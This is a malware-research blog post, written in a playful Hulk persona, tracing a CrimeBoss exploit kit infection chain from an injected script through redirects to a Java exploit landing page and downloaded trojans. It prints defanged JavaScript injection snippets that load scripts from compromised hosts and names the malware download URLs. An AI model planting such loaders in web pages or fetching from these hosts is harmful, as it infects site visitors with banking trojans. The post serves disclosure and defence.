Hulk teams up with the Malware Crusaders to smash The CrimeBoss! (infector abrahamspath.org.uk//cb.php)

Background

This post is made 100% by one of our dedicated friend @Hulk_Crusader as the success story of a collaboration in fighting malware infector CrimeBoss. Thank's for Hulk for the hard work contributing his writing in our blog! Some of the analysis is still under-going so the details will be added regularly.
On a cold January night we find The Hulk passing time surfing the internet when he encounters what appears to be a CrimeBoss Exploit Kit Javascript injection on editorialconecta[.]com: Why can't puny malware just leave Hulk alone????!!! The script on abrahamspath.org.uk/cb.php checks if Java is enabled(slightly sanitized with <):
if(navigator.javaEnabled()) 
    {
    document.write(' 
    <script src="h00p://abrahamspath,org.uk//cb.php?action=jv&h=750139265">
    </script>'); }
If Java is enabled you are sent via a 302 redirect to
boyssuitsonline、com/jex/index.php?setup=d 
where again a check for Java is made (slightly sanitized with <):
if(navigator.javaEnabled()) 
  {
    document.write('<sc' + 'ri' + 'pt src=
    "h00p://boyssuitsonline,com/jex/index.php?setup=d&s=2&r=' + Math.floor(100000 + 
    (Math.random()*999999 + 1)) + '" type="text/javascript" 
    charset="iso-8859-1">
    </sc' + 'ri' + 'pt>');
    }
Finally the victim is presented with the actual landing page, Landing page sample is here -->>[PASTEBIN] The landing page again checks if Java is enabled.

[NEW] Analysis of Landing Page & Jars exploit used

I analyzed how the exploit worked, and noted it down. Is a bit long so I wrote it in seperate post page-->>[HERE] What is it with these moronz?? A malware PE binary rh.exe is downloaded from patuamusic.com,br/app/ if any of the Java applets successfully exploit the victim. See: VirusTotal analysis -->>[HERE] malwr.com analysis -->>[HERE] Network analysis shows a GET request for Instal.teaz from sonhodoseu.dominiotemporario,com/fugi/ This is actually another executable and appears to be a banker trojan. See: VirusTotal analysis -->>[HERE] malwr.com analysis -->>[HERE]

Infection Scheme

Below we added the infection scheme graph: RRRRAAAAAAARGGHHHHH!!! The Hulk and Malware Crusaders smash the evil CrimeBoss Kit but is this the last we've seen of this villain?
Only time will tell. But bad guyz beware: The Hulk and The Malware Crusaders are always looking for you and you will never know when we decide to smash you!!


*) abrahamspath.org.uk, boyssuitsonline.com, patuamusic.com.br and sonhodoseu.dominiotemporario.com are victimized sites & in some cases also, to include infectious code to spread malware to visitors.
PoC is as per below: And so many other infections:
